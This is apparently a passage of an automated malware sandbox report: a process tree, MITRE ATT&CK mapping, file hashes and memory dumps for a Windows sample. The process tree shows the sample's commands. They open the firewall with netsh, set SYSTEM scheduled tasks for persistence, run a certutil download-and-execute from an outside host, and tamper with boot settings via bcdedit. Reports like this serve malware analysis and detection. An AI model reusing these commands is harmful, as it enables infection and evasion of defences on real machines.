netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:4236

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1700

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1088

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1124

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:4156

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2788

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3620 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
1⤵
PID:3912

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
3.7MB

MD5
956f93f6ca80f29e965e060671f9fe49

SHA1
ae17dc8820837dc4f627351c5a2e8534b1690202

SHA256
9a59d10aa896213b14ce316e37e1cf143beae3e218fa1a0a59a4e8fb12d36d14

SHA512
482c107e3789fdf16fc6d62121647afa9b7138400d4401b476683f842726105cb1a96ae479082f52b1ad4ee79dfbdc68c8efbb8988d467f8f62fa31db4997af1

Download Submit
memory/1388-8-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1388-16-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1388-10-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1388-9-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-21-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-28-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-33-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-32-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-31-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-30-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-29-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-22-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-23-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-24-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-25-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-26-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/1700-27-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download
memory/5076-6-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/5076-1-0x00000000016F0000-0x0000000001A9D000-memory.dmp

Filesize
3.7MB

Download
memory/5076-2-0x0000000001AA0000-0x000000000219C000-memory.dmp

Filesize
7.0MB

Download
memory/5076-3-0x0000000000400000-0x0000000000B16000-memory.dmp

Filesize
7.1MB

Download
memory/5076-5-0x0000000001AA0000-0x000000000219C000-memory.dmp

Filesize
7.0MB

Download
memory/5076-4-0x0000000000400000-0x0000000001319000-memory.dmp

Filesize
15.1MB

Download